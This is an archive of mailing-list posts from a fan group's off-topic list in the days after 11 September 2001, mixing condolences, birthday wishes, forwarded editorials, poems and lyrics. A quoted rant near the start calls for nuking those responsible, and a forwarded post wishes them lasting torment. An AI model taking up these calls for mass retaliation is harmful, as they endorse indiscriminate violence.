yet.  For those of you who don't know, Fort Bliss is
home to several Patriot Missile Units.

4.- My nieghbor has informed me that the army is
already doing the prep work necessary for recalling
personnel that was discharged 6 months or less ago. 
And as the military has 8 years in which to call you
back to service (and I've only been out for 5)  I have
a new worry.  If we go to war I may get recalled also.

My thoughts and prayers go to all who have already
lost so much and to hoping that this can be resolved
without bloodshed.  That said I leave you with some
thoughts from the older of my two brothers (the one
NOT in the military) from his latest brainchild
"Thoughts of a Dirty Old Man" (even though he's only
22).

America Under Attack:

Face It, Everyone, The Good Ol' USofA Been Pissing
Everyone Off Ever Since The Start, It Was Only A
Matter Of Time Before We Faced Adversity Like We Did
Today.  That Said, I Hope We Nuke The Sons Of Bitches
Responsible Until They Glow In The Dark So We Can Shot
Them At Night!  


Danette

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From witchwanda2002 at yahoo.com  Thu Sep 13 01:12:03 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Wed, 12 Sep 2001 18:12:03 -0700 (PDT)
Subject: Tribute to The United States from Canada
Message-ID: <20010913011203.24193.qmail@web13709.mail.yahoo.com>

Deb sent me this wonderful email that I wanted to also
share with this wonderful group,who are like family,
of adults and mature young adults too!

Wanda


From: "Deb Martino" <dmartino at mediaone.net> | Block
Address | Add to Address Book 
To: "Debi Weber" <webers1993 at mediaone.net>, "Wanda
Mallett" <witchwanda2002 at yahoo.com>, "Donna St. Jean"
<Dlstjean at aol.com>  
Subject: Fw: Something worth reading at a time like
this! 
Date: Wed, 12 Sep 2001 16:35:39 -0400 
         
 TRIBUTE TO THE UNITED STATES
This, from a Canadian newspaper, is worth sharing.

America: The Good Neighbor.

Widespread but only partial news coverage was given
recently to a remarkable
editorial broadcast from Toronto by Gordon Sinclair, a
Canadian television
commentator. What follows is the full text of his
Trenchant remarks as printed in the Congressional
Record:

"This Canadian thinks it is time to speak up for the
Americans as the most
generous and possibly the least appreciated people on
all the earth.

Germany, Japan and, to a lesser extent, Britain and
Italy were lifted out
of the debris of war by the Americans who poured in
billions of dollars and
forgave other billions in debts. None of these
countries is today paying
even the interest on its remaining debts to the United
States.

When France was in danger of collapsing in 1956, it
was the Americans who
propped it up, and their reward was to be insulted and
swindled on the streets of Paris. I was there. I saw
it.

When earthquakes hit distant cities, it is the United
States that hurries
in to help. This spring, 59 American communities were
flattened by tornadoes.
Nobody helped.

The Marshall Plan and the Truman Policy pumped
billions of dollars into
discouraged countries. Now newspapers in those
countries are writing about
the decadent, warmongering Americans.

I'd like to see just one of those countries that is
gloating over the
erosion of the United States dollar build its own
airplane. Does any other
country in the world have a plane to equal the Boeing
Jumbo Jet, the
Lockheed Tri-Star, or the Douglas DC10?

If so, why don't they fly them? Why do all the
International lines except
Russia fly American Planes? You talk about Japanese
technocracy, and you
get radios. You talk about German technocracy, and you
get automobiles. You
talk about American technocracy, and you find men on
the moon - not once, but
several times - and safely home again.

You talk about scandals, and the Americans put theirs
right in the store
window for everybody to look at. Even their
draft-dodgers are not pursued
and hounded. They are here on our streets, and most of
them, unless they
are breaking Canadian laws, are getting American
dollars from ma and pa at home to spend here.

When the railways of France, Germany and India were
breaking down through
age, it was the Americans who rebuilt them. When the
Pennsylvania Railroad
and the New York Central went broke, nobody Loaned
them an old caboose. Both are still broke.

I can name you 5000 times when the Americans raced to
the help of other
people in trouble. Can you name me even one time when
someone else raced to
the Americans in trouble? I don't think there was
outside help even during
the San Francisco earthquake.

Our neighbors have faced it alone, and I'm one
Canadian who is damned tired
of hearing them get kicked around. They will come out
of this thing with
their flag high. And when they do, they are entitled
to thumb their nose at
the lands that are gloating over their present
troubles. I hope Canada is
not one of those."

Stand proud, America!
Wear it proudly!! 
--------------------------------------------------------------------------------
This is one of the best editorials that I have ever
read regarding the
United States. It is nice that one man realizes it. I
only wish that the
rest of the world would realize it. We are always
blamed for everything,
and never even get a thank you for the things we do.

I would hope that each of you would send this to as
many people as you can
and emphasize that they should send it to as many of
their friends until
this letter is sent to every person on the web. I am
just a single American
that has read this, I SURE HOPE THAT A LOT MORE READ
IT SOON. ----------

-------------------------------------------------------


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From crabtree at ktc.com  Thu Sep 13 02:14:00 2001
From: crabtree at ktc.com (Jo)
Date: Thu, 13 Sep 2001 02:14:00 -0000
Subject: Happy Birthday, John!
In-Reply-To: <9no444+f6a2@eGroups.com>
Message-ID: <9np4p8+pbkt@eGroups.com>

I am thinking that a huge block of Honeydukes Best Chocolate might be 
good for us all to chase away the gloom left by yesterday's dementors.

Happy Birthday, John.  Have a Chocolate Frog on me.

Professor Phlash





From inviziblegirl at hotmail.com  Thu Sep 13 02:21:07 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Wed, 12 Sep 2001 22:21:07 -0400
Subject: [HPFGU-OTChatter] Happy Birthday to John and Keith!
Message-ID: <F217JapbFZqK75nJVPw000080dc@hotmail.com>


A very happy birthday to both of you! Drink butterbeer, eat chocolate, and 
be as merry as you can possibly be.

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Anyone perfect must be lying, anything easy has its cost,
Anyone plain can be lovely, anyone loved can be lost..."
- Barenaked Ladies, "Falling for the First Time"



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From blpurdom at yahoo.com  Thu Sep 13 02:34:03 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 13 Sep 2001 02:34:03 -0000
Subject: Happy Birthday, Keith!
Message-ID: <9np5ur+ihcp@eGroups.com>

Happy Birthday, Keith!  I echo someone else's comment that it is 
sincerely hoped that you and John don't wind up associating your 
birthdays with tragedy in years to come.  My father-in-law's birthday 
is April 19, which was usually a cause for celebration for him, as it 
is Patriot's Day, but then the Oklahoma City bombing occurred on 
April 19...It's hard for him now, having this birthday, but we always 
try to make it a happy one for him.

We must all remember at times like this that even as the buildings 
were coming down and ending people's lives, there were babies being 
born in NYC and around the world.  We must continue to celebrate life.

--Barb

P.S. Glad you liked the fic, Keith.  Moody's bit in Chapter 26 was 
actually adapted from a speech I gave at a rally at the PA state 
capital concerning hate crimes.  The work continues...





From crabtree at ktc.com  Thu Sep 13 02:44:49 2001
From: crabtree at ktc.com (Jo)
Date: Thu, 13 Sep 2001 02:44:49 -0000
Subject: Happy Birthday, Keith!
In-Reply-To: <9np5ur+ihcp@eGroups.com>
Message-ID: <9np6j1+j61r@eGroups.com>

I'm still passing out the chocolate.  I hope you have been able to 
have a good birthday.  

Have a Chocolate Frog on me.

Professor Phlash




From joym999 at aol.com  Thu Sep 13 04:24:41 2001
From: joym999 at aol.com (joym999 at aol.com)
Date: Thu, 13 Sep 2001 04:24:41 -0000
Subject: He was Bill Weasley in every sense of the way
In-Reply-To: <OE271Ty9CMdZpDsiIWe00006e99@hotmail.com>
Message-ID: <9npce9+gncl@eGroups.com>

I'm so sorry, Yael.  I am sure that I speak for all HP4GUers when I 
say that if there is anything we can do to ease your pain you have 
only to let us know.  I will remember your friend Shai.

--Joywitch




From Alyeskakc at aol.com  Thu Sep 13 04:31:46 2001
From: Alyeskakc at aol.com (Kristin)
Date: Thu, 13 Sep 2001 04:31:46 -0000
Subject: The Change
Message-ID: <9npcri+duut@eGroups.com>

I found this, or should I say re-discovered, this song that Garth 
Brooks recorded in 1995. I guess this is my way of summing up how I'm 
feeling about the horrific events of yesterday. I wish I could find 
an audio link for it. Hopefully just the words will be as powerful as 
the song. Below is a short little background on the song.

Garth, an Oklahoma native, put this song on his album Fresh Horses as 
a way of paying tribute to the Oklahoma bombing victims and survivors.

"There's also a song called 'The Change,' which I feel is probably 
the most powerful song I have ever dealt with and it speaks on a 
subject that is very close to me." Fresh Horses was released in Nov. 
1995.

The Change 
Written by: Tony Arata, Wayne Tester 
 
One hand 
Reaches out 
And pulls a lost soul from harm 
While a thousand more go unspoken for 
They say what good have you done 
By saving just this one 
It's like whispering a prayer 
In the fury of a storm 

And I hear them saying you'll never change things 
And no matter what you do it's still the same thing 
But it's not the world that I am changing 
I do this so this world will know 
That it will not change me 

This heart 
Still believes 
The love and mercy still exist 
While all the hatred rage and so many say 
That love is all but pointless in madness such as this 
It's like trying to stop a fire 
With the moisture from a kiss 

And I hear them saying you'll never change things 
And no matter what you do it's still the same thing 
But it's not the world that I am changing 
I do this so this world will know 
That it will not change me 

As long as one heart still holds on 
Then hope is never really gone 

I hear them saying you'll never change things 
And no matter what you do it's still the same thing 
But it's not the world that I am changing 
I do this so this world we know 
Never changes me 

What I do is so 
This world will know 
That it will not change me 


Hoping that this tragedy won't change us, or me, for the worse.

Kristin




From golden_faile at yahoo.com  Thu Sep 13 03:19:07 2001
From: golden_faile at yahoo.com (golden faile)
Date: Wed, 12 Sep 2001 20:19:07 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: He was Bill Weasley in every sense of the way
In-Reply-To: <9nogcb+i5t8@eGroups.com>
Message-ID: <20010913031907.17766.qmail@web14606.mail.yahoo.com>


--- "Catlady (Rita Prince Winston)"
<catlady at wicca.net> wrote:
> --- In HPFGU-OTChatter at y..., "yael-pou"
> <yael_pou at h...> wrote:
> 
> << 1.93m (6'4''), giant red-head, 29 years old, the
> most kind-hearted 
> man I've ever known. I'm not just saying that
> because he's probably 
> gone. Shai Levinhar was the man I named every time I
> was asked point 
> to the most wonderful person I know. Was. Until a
> hijacked plane 
> crashed right into his office on the 103rd floor of
> the north twin 
> tower.
> 
> He left a wife and a two weeks old baby girl.>>
> 
> I'm so sorry Yael. Here I was yammering on about how
inconvenient my day was, I was still in shock until
this very minute... when I broke down in tears.


Laila

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From Aberforths_Goat at Yahoo.com  Thu Sep 13 08:43:45 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Thu, 13 Sep 2001 10:43:45 +0200
Subject: [HPFGU-OTChatter] He was Bill Weasley in every sense of the way
References: <OE271Ty9CMdZpDsiIWe00006e99@hotmail.com>
Message-ID: <003701c13c30$3329f8d0$e500a8c0@shasta>

Yael,

You have my tears. That's all I can give.

Life is so beautiful when we don't destroy it.

Mike Gray




From catherine at cator-manor.demon.co.uk  Thu Sep 13 09:14:06 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Thu, 13 Sep 2001 09:14:06 -0000
Subject: He was Bill Weasley in every sense of the way
In-Reply-To: <OE271Ty9CMdZpDsiIWe00006e99@hotmail.com>
Message-ID: <9nptcu+4i9l@eGroups.com>

--- In HPFGU-OTChatter at y..., "yael-pou" <yael_pou at h...> wrote:
> 1.93m (6'4''), giant red-head, 29 years old, the most kind-hearted 
man I've ever known. I'm not just saying that because he's probably 
gone. Shai Levinhar was the man I named every time I was asked point 
to the most wonderful person I know. Was. Until a hijacked plane 
crashed right into his office on the 103rd floor of the north twin 
tower.
> 
> It's too early to mourn him. There's still a shred of hope. Yet, at 
this stage, and after examining the pictures carefully, we'll be 
happy to get any remains of him. At least, we believe he was killed 
before he knew what hit him. That is, unless some miracle happened, 
and no one deserves a miracle more than he does. Always ready to help 
in any way he can, using his creativity, his wits, his smile and his 
humour to make you feel better.
> 
> He left a wife and a two weeks old baby girl.
> 
> Thanks, yael


Yael, I'm more sorry than I can say.

Catherine




From witchwanda2002 at yahoo.com  Thu Sep 13 10:45:44 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Thu, 13 Sep 2001 03:45:44 -0700 (PDT)
Subject: worth sharing
Message-ID: <20010913104544.66726.qmail@web13709.mail.yahoo.com>

Date:    Thu, 13 Sep 2001 12:36:13 -0700

I received this from a friend this morning.  He
received it from a 
stockbroker associate in Paris.  I think it is worth
sharing: 

PARIS, FRANCE 

WEDNESDAY, 12 SEPTEMBER 2001 

* * * * * * * * * * * * * * * * * * * * * * * * * 

THE DARK YEARS 
By Bill Bonner 

"...behind the doors of this ambitious day 
stand shadows with enormous grudges, outside 
its chartered ocean of perception 
misshapen coastguards drunk with foreboding, 

and whispering websters, creeping through this world, 
discredit so much literature and praise. 
Summer was worse than we expected; 
Now an Autumn cold comes on the water..." 

                 The Dark Years 
                   W.H. Auden 

Along the rue des Lombards last night, men with 
earrings held hands...and prostitutes stood in 
doorways - as they always do.  You can get any kind of

love you want on the rue des Lombards.  Even perverse 
love seemed reassuring last night. 

We will reckon again today...as we always do. But 
today we reckon with a heavy heart. For greed has been

replaced by fear, and the comedy of the financial 
market has been replaced by the tragedy of politics. 

Most of the people in our office raced home after work

yesterday. The whole world watched television. But I 
felt like walking. 

So, I made my way down to the Pont des Arts and 
crossed over to the left Bank. On the bridge, couples 
stood together and stared at the river...the gray 
spires and apartment buildings silhouetted against the

last evening light. They held hands too...laughed and 
embraced, as the world grew dark. 

I had come to see them, of course...to catch a glimpse

of the world as it was yesterday...the bright lights 
and gaiety of the cafes, the somber elegance of the 
Louvre, the ordinary comings and goings of ordinary 
people in the world's most beautiful city. I wanted to

remember it that way - just in case it would never be 
that way again. 

Surely another bridge has been crossed, I thought, as 
I strolled along the rue Jacob, looking in the antique

shop windows. Things have changed. America - almost 
untouched by war for 136 years - is suddenly under 
attack. 

We have been waiting for a defining event to conclude 
the 20th century, as the assassination of the Archduke

Ferdinand marked the end of the 19th. What "tipping 
point" event would close the book on the long period 
of peace and prosperity that America has so recently 
enjoyed, we wondered. 

Nature was preparing some surprises. Something big was

coming, we guessed. But not even in our gloomiest 
moments did we imagine such a bizarre and bloody 
trigger event. But now we have it. 

"THE NEW WAR!" screams the headline in today's Figaro.

"TERROR STRIKES AMERICA," proclaims a banner on the 
International Herald Tribune. All over the world, on 
live TV coverage, anyone can see - America is 
vulnerable. 

The dollar plummeted yesterday. Markets all over the 
World collapsed, with the London exchange down 
5.7%...Frankfurt off 8.6%...and Paris down 7.4%. The 
price of gold soared 5%...and then fell back in this 
morning's Asian trading. Crude oil also rose - $6. 

In a radio broadcast earlier in the day a French 
commentator tried to put the catastrophe in 
perspective: 

"It is simply unimaginable," he said, "it is as if the

National Assembly had come under attack and the Eiffel

Tower and the Tour Montparnasse had been completely 
obliterated." 

The National Assembly building was closed. But armed 
guards were on alert. Clutching machine guns, they 
paced up and down the streets and studied me carefully

as I walked along. 

Then, at the base of the Eiffel Tower, everything 
seemed normal. It still stood. Tourists, though fewer 
in number than usual, milled around. Arab hucksters 
sold their trinkets. Life goes on. 

In the next few days, weeks, and months...you will be 
told that everything is okay. Indeed, many will think 
it is better than okay. The Fed has already promised 
that it will provide more money. OPEC has pledged to 
provide more oil. The government will launch new anti-

terrorist initiatives. Some will say that war is good 
for the economy. Defense stocks will rise. 

Who knows, maybe markets will rally. But two years 
after the Archduke Ferdinand was shot, stocks in 
America reached their lowest level in history - 
trading for just 4 times earnings. 

Nature still has her surprises. But it is likely that 
consumers and investors will hold their breath...and 
feel a cold new wind blowing. They will be less 
confident, less sure of themselves and of the future. 
They will tend to hold onto their money a little 
longer and worry about their debts a little more. This

alone, as Dr. Richebacher reminds us, means "The End" 
of America's greatest boom. 

The bells of St. Mary's are tolling this morning. 
They ring for the living and the dead, including the 
many thousands of brokers, analysts, clerks, firemen, 
policemen, and others - people who were in the very 
wrong place at a very wrong moment. 

They also toll for another reason - heralds of 
something else we will all have to reckon with: 

A strange darkness has settled over the World...a new 
era, finally, has come. 

Your correspondent in Paris, 

Bill Bonner 

P.S. "We are all Americans this morning," said Magda, 
a French colleague. 





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From find_sam at hotmail.com  Thu Sep 13 11:45:00 2001
From: find_sam at hotmail.com (Sam Brown)
Date: Thu, 13 Sep 2001 11:45:00 -0000
Subject: He was Bill Weasley in every sense of the way
In-Reply-To: <OE271Ty9CMdZpDsiIWe00006e99@hotmail.com>
Message-ID: <9nq67s+56q8@eGroups.com>

Yael, please know that my thoughts and prayers are with you, and with 
everyone worldwide affected by this terrible tragedy. I just can't 
say how deeply saddened and shocked by these appauling events at the 
moment.

Sam 





From bray.262 at osu.edu  Thu Sep 13 09:45:22 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Thu, 13 Sep 2001 09:45:22 EST5EDT
Subject: An article from the Miami Herald
Message-ID: <27DCBC05F6@lincoln.treasurer.ohio-state.edu>

I just had to share this.  I'm keeping a journal of 
articles from papers.  This so far has been my favorite.


(an editorial from the Miami Herald)

We'll go forward from this moment.  

It's my job to have something to say.  They pay me to 
provide words that help make sense of that which troubles 
the American soul.  But in this moment of airless shock 
when hot tears sting disbelieving eyes, the only thing I 
can find to say, the only words that seem to fit, must be 
addressed to the unknown author of this suffering.

You monster. You beast. You unspeakable bastard. What 
lesson did you hope to teach us by your coward's attack on 
our World Trade Center, our Pentagon, us?

What was it you hoped we would learn?  Whatever it was, 
please know that you failed.

Did you want us to respect your cause? You just damned your 
cause.

Did you want to make us fear? You just steeled our resolve.

Did you want to tear us apart? You just brought us 
together.

Let me tell you about my people.

We are a vast and quarrelsome family, a family rent by 
racial, social, political and class division, but a family 
nonetheless.  We're frivolous, yes, capable of expending
tremendous emotional energy on pop cultural minutiae -- a 
singer's revealing dress, a ball team's misfortune, a 
cartoon mouse.  We're wealthy, too,  spoiled by the ready 
availability of trinkets and material goods, and maybe 
because of that, we walk through life with a certain sense 
of blithe entitlement.

We are fundamentally decent, though -- peace-loving and 
compassionate.  We struggle to know the right thing and to 
do it. And we are, the overwhelming majority of us, people 
of faith, believers in a just and loving God.

Some people -- you, perhaps -- think that any or all of 
this makes us weak. You're mistaken. We are not weak. 
Indeed, we are strong in ways that cannot be measured by 
arsenals.

Yes, we're in pain now. We are in mourning and we are in 
shock.  We're still grappling with the unreality of the 
awful thing you did, still working to make ourselves 
understand that this isn't a special effect from some 
Hollywood blockbuster, isn't the plot development from a 
Tom Clancy novel. Both in terms of the awful scope of their 
ambition and the probable final death toll, your attacks 
are likely to go down as the worst acts of terrorism in the 
history of the United States and, probably, the history of 
the world. You've bloodied us as we have never been 
bloodied before.

But there's a gulf of difference between making us bloody 
and making us fall.  This is the lesson Japan was taught to 
its bitter sorrow the last time anyone hit us this hard, 
the last time anyone brought us such abrupt and monumental 
pain. When roused, we are righteous in our outrage, 
terrible in our force. When provoked by this level of 
barbarism, we will bear any suffering, pay any cost, go to 
any length, in the pursuit of justice.

I tell you this without fear of contradiction. I know my 
people, as you, I think, do not. What I know reassures me. 
It also causes me to tremble with dread of the future.

In the days to come, there will be recrimination and 
accusation, fingers pointing to determine whose failure 
allowed this to happen and what can be done to prevent it 
from happening again. There will be heightened security, 
misguided talk of revoking basic freedoms. We'll go forward 
from this moment sobered, chastened, sad.

But determined, too.

Unimaginably determined.

You see, the steel in us is not always readily apparent. 
That aspect of our character is seldom understood by people 
who don't know us well.  On this day, the family's 
bickering is put on hold.

As Americans we will weep, as Americans we will mourn, and 
as Americans, we will rise in defense of all that we 
cherish.

So I ask again: 

What was it you hoped to teach us? 

It occurs to me that maybe you just wanted us to know the 
depths of your hatred.  If that's the case, consider the 
message received. 

And take this message in exchange:

You don't know my people. You don't know what we're capable 
of. You don't know what you just started.

But you're about to learn.


Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From gypsycaine at yahoo.com  Thu Sep 13 13:45:24 2001
From: gypsycaine at yahoo.com (Dee R)
Date: Thu, 13 Sep 2001 09:45:24 -0400
Subject: [HPFGU-OTChatter] Jon and Keith
References: <1000374749.443.9037.l10@yahoogroups.com>
Message-ID: <00d601c13c5a$57c906c0$10ccfea9@computer>

I hope it's not too late to wish you two a Happy Birthday?

I'm trying to be normal, but my brain's still fuddled--forgive my lateness!

:)

Dee



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From blpurdom at yahoo.com  Thu Sep 13 14:25:58 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 13 Sep 2001 14:25:58 -0000
Subject: He was Bill Weasley/Firefighters/Heroes in the air
Message-ID: <9nqflm+23n1@eGroups.com>

I cannot begin to tell you how sorry I am for your loss, Yael.  I 
think of him, and the man Mindy said was contacting his loved ones, 
saying he wasn't going to be able to get out, and I just start crying 
all over again.  Added to all of those people are the courageous 
firefighters and police officers who are lost, and the people who 
brought down their own plane to save people on the ground...both the 
loss and the heroism are staggering.

The last two lines of this poem (which I've been unable to get out of 
my head during this entire ordeal) are carved on the Aviator's 
Memorial here in Philadelphia.  Spender's words have a music that 
notes do not, and I think it can apply to truly great people whether 
they had anything to do with flight or not.  Because I have been 
thinking about this and it has been helping me a little bit, I wanted 
to share it.

--Barb

___________________________________________

I Think Continually of Those Who Were Truly Great

by Stephen Spender

I think continually of those who were truly great
Who, from the womb, remembered the soul's history
Through corridors of light where the hours are suns
Endless and singing.  Whose lovely ambition
Was that their lips, still touched with fire,
Should tell of the Spirit clothed from head to foot in song.
And who hoarded from the Spring branches
The desires falling across their bodies like blossoms.

What is precious is never to forget
The essential delight of the blood drawn from ageless springs
Breaking through rocks in worlds before our earth.
Never to deny its pleasure in the morning simple light
Nor its grave evening demand for love.
Never to allow gradually the traffic to smother
With noise and fog the flowering of the spirit.

Near the snow, near the sun, in the highest fields
See how these names are feted by the waving grass
And by the streamers of white cloud
And whispers of wind in the listening sky.
The names of those who in their lives fought for life
Who wore at their hearts the fire's center.
Born of the sun they traveled a short while towards the sun,
And left the vivid air signed with their honor.






From Aberforths_Goat at Yahoo.com  Thu Sep 13 14:25:03 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Thu, 13 Sep 2001 16:25:03 +0200
Subject: [HPFGU-OTChatter] Happy Birthday to John and Keith!
References: <F217JapbFZqK75nJVPw000080dc@hotmail.com>
Message-ID: <00ed01c13c5f$e1443d70$e500a8c0@shasta>

Waaay late, but ME TOO!
u
And as Barb said so well, celebrate life. It's a gift and it's beautiful -
and I'm honored to know you guys. So crack out the Ogdens, snarf down some
Demenotoraide and party!

Baaaaaaa!

Aberforth's Goat (a.k.a. Mike Gray, who is breaking his training diet for a
large serving of Lupin's favorite remedy.)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From editor at texas.net  Thu Sep 13 15:28:11 2001
From: editor at texas.net (Amanda)
Date: Thu, 13 Sep 2001 15:28:11 -0000
Subject: Forwarded post from a friend of mine
Message-ID: <9nqjab+jbr5@eGroups.com>

Words of eloquence from a friend, that I thought to pass on.

--Amanda

FW: My thoughts on this horror

As most of you know, I am a blacksmith by hobby, and this is a copy 
of the post I put on our forum on the internet...  In light of recent 
e-mails, I though that I would share it with you as well. I have 
annotated the postings where some explanation might be needed in 
brackets. 

September 11, 2001 

Accidents,Terrorism, Retribution and Reflection 

I was working as a sheet metal worker when the Challenger exploded. 

The office of the small shop I worked was silent in shock, amazement 
and sorrow. The postman sat stunned in the chair by the front door of 
our office, letters in hand, mouth open. Silent. An accident. 

I was working as a Trade Show Designer/Builder/Installer... when The 
Federal Building was destroyed by a truck carrying a homemade bomb. 
The offices where I worked were shocked and outraged by the assault. 
Even more so when it was discovered that the cowardice was domestic. 
An Outrage. A Tragedy. 

Now I work as a truck traffic manager, shipping beer. What a job!, 
until this morning when I am greeted by Stephanie, (a pretty young 
woman, new to our office) as I wait for the elevator. She is 
noticeably upset. I ask her what is wrong. I do not believe what she 
tells me. That's only in movies or Tom Clancy novels... 

Then I go to the office of our operations department, and see several 
people staring at a small TV set. Suddenly I am back in the sheet 
metal shop. But this is no accident. 

I am a large man. 305 lbs, 6'2. Usually it is not easy for me let 
other see me cry. I didn't care if anyone saw this time though. I 
could only see people dying in real time. The realization that up to 
50,000 people may be dead or dying took precedence over my ego. No 
Accident. An Outrage. 

I live (born and raised) in San Antonio, TX. We have a little town 
just 30 miles north of us called New Braunfels. The entire town is 
only 37,000. I tell this to my coworkers and the scope hits harder. 

Two hours or so have passed since I first heard the news. Anger wells 
up in me in its full testosterone glory. My teeth clench as I think 
of what has happened. I embrace my desire for revenge, even though I 
personally have lost no one. Outrage. No Accident. 

I call my mother. She is in her late seventies. She tells me she has 
never experienced anything like this in her long life. I remind her 
that she was 15 when Pearl Harbor was attacked. She assures me that 
this is far worse. She tells me she loves me, and I reply in kind. 
Only this time, not quite so mechanically as I may have before. 

I calm myself, and decide to read the postings here, [on the 
Blacksmith's web Forum] if only to distract myself for a moment. I 
cry again, this time though a bit more self-consciously. I read that 
John has lead his class in prayer for the victims. Thomas has called 
for us to ring anvils in remembrance of the fallen. I shall ring it 
loudly tonight, and let myself grieve for those I will never have the 
chance to know. 

I am troubled by the backlash that this will no doubt cause. If (and
frankly- I firmly believe this to be so) Ben Ladin and his followers 
are responsible, then may they fear the dark. But I fear that all who 
follow Islam will be blamed. This would as mentioned above make us as 
evil as those who have struck today.[A posting to the forum before 
this one cautioned us not to become the enemy by hating all of one 
race/religion] I fear that those who are as filled with as much 
sorrow and rage as I will condemn all of one sect.

[An earlier post before this one stated that those responsible should 
be confined until death..] Solitary confinement with no human 
contact, as Tony mentioned, is still too gentle a punishment. May 
those responsible be confined with the stench of victim's blood, the 
taste of dust and smoke on their lips, and the knowledge that 
their "sacrifice" and "cause" was fruitless. May they die each day in 
pain and horror, only to be awakened from their dreams to know that 
they are still alive and afraid. 

As a Christian I am supposed to forgive. But not yet. Please know - 
all that are reading this- that my anger is aimed only at those that 
call the cowardly destruction of innocents "jihad," or 
even "patriotism." 

I pray that God(Yeshua, Yahweh,Allah,Vishnu,) keeps you safe. 

Michael Seminara 





From bray.262 at osu.edu  Thu Sep 13 12:32:37 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Thu, 13 Sep 2001 12:32:37 EST5EDT
Subject: I thought this was a great mix
Message-ID: <2AA6F973EC@lincoln.treasurer.ohio-state.edu>

This was the other U2 song that I was thinking about the 
other day.  Glad to see I'm not the only one!

http://www.dc101.com/servlet/Download_Page?downloadID=21606

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From aprilgc at ivillage.com  Thu Sep 13 21:34:07 2001
From: aprilgc at ivillage.com (aprilgc at ivillage.com)
Date: Thu, 13 Sep 2001 21:34:07 -0000
Subject: Handling the Hate, Pain, and Rage
Message-ID: <9nr8of+n7aq@eGroups.com>

This message struck a chord with me. I hope it helps others as well. I 
tried to send it to the list earlier, but it hasn't shown up. Please 
forgive me if you get it twice. Here's the link:

http://www.ediets.com/news/article.cfm?article_id=4878&emailpage=2

Momentarily bereft of Magic,
Lady Leprechaun





From ochfd42 at yahoo.com  Thu Sep 13 14:32:13 2001
From: ochfd42 at yahoo.com (Angela Boyko)
Date: Thu, 13 Sep 2001 10:32:13 -0400 (EDT)
Subject: Flanders Fields (was Re: He was Bill Weasley in every sense of the way
In-Reply-To: <9norve+slge@eGroups.com>
Message-ID: <20010913143213.35378.qmail@web11704.mail.yahoo.com>

That poem was written by a Canadian soldier, who later
died in WWI. It is part of the annual observances of
Remembrace Day on November 11 in Canada.

Angela

--- hamster8 at hotmail.com wrote:

> For the benefit of those of you not on HP_Paradise,
> I found an old 
> poem written on a postcard I bought in Belgium
> today.  It was written 
> in 1915, at the height of the First World War.  I
> was sorting through 
> my postcard collection (have over 500 at this
> point), and the midday 
> news was on, and ... guess what, they were looping
> that same footage, 
> endlessly, endlessly.  The poem may need updating,
> but I think it's 
> apt, and I reproduce it here.
> 
> In Flanders' fields the poppies blow
> Between the crosses, row on row,
> that mark our place: and in the sky
> The larks, still bravely singing, fly
> Scarce heard amid the guns below.
> We are the dead.  Short days ago
> We lived, felt dawn, saw sunset glow,
> Loved and were loved, and now we lie
> In Flanders' fields.
> Take up our quarrel with the foe;
> To you from failing hands we throw
> The torch; be yours to hold it high,
> If ye break faith with us who die
> We shall not sleep, though poppies
> Grow in Flanders' fields.
> 
> Al


_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From klaatu at primenet.com  Thu Sep 13 22:16:20 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Thu, 13 Sep 2001 15:16:20 -0700
Subject: Building Security, Alarms, & Evacuations
Message-ID: <MABBJPGEHBDBAKHGIBPOCEPHEFAA.klaatu@primenet.com>

I've seen survivors of the World Trade Center disaster relate how many of
their co-workers either stayed at their desks or dawdled around before
deciding to leave the building, and who  perhaps died as a result of their
procrastination.

I used to be employed by a fairly large company, in a building that housed
approximately 3000 employees.  At least once a year, we would hold a
full-scale practice evacuation, with all employees leaving the building.
However, we knew exactly when the evacuation would occur, and treated it as
a lark and a mini-holiday from work.  During the year, we would also have 2
or 3 tests of the alarm systems, but would not actually get up and leave the
building.

HOWEVER, occasionally, perhaps once or twice a year at least, there was a
false alarm.  The alarm system might accidentally have been turned on by a
careless security guard, or it might suffer a short-circuit.  On those
occasions, NO ONE even attempted to evacuate in the belief that a real
emergency might be occurring.  The most we would do is stick our heads out
into the hallways and see if anything was going on.  Therefore, I can see
where a real emergency danger situation would catch us all still in our
offices, wondering if anything serious was actually happening.

Has anyone else had similar experiences?  It seems to me that this might
explain why so many did not leave the WTC immediately when they first became
aware of a problem.

SML
==================================




From jheen at mmcable.com  Thu Sep 13 20:28:19 2001
From: jheen at mmcable.com (Genevieve Pratt)
Date: Thu, 13 Sep 2001 15:28:19 -0500
Subject: Just when I was hoping things were starting to settle down...
Message-ID: <000f01c13c92$a14ca0d0$e9d41a41@breev>

I've been sitting here going through emails when I heard an announcement
over the radio. Seems some *moron* decided this would be a great time to
threaten to blow up one of the local schools in the area. So, not only
are people now dealing with the tragedy, we now have to worry about the
children going to school. They closed an entire school district here in
OKC because of threat and they were saying the officials weren't sure if
school would be opening back up tomorrow. *sighs* I really wish I could
say I can't believe that people would be that insensitive or stupid...

Genevieve




From inviziblegirl at hotmail.com  Thu Sep 13 23:26:03 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Thu, 13 Sep 2001 19:26:03 -0400
Subject: A bit of sunshine...
Message-ID: <F24c0D543TuylJc0xvl00009cb0@hotmail.com>


After being generally depressed over the recent events, I had a little 
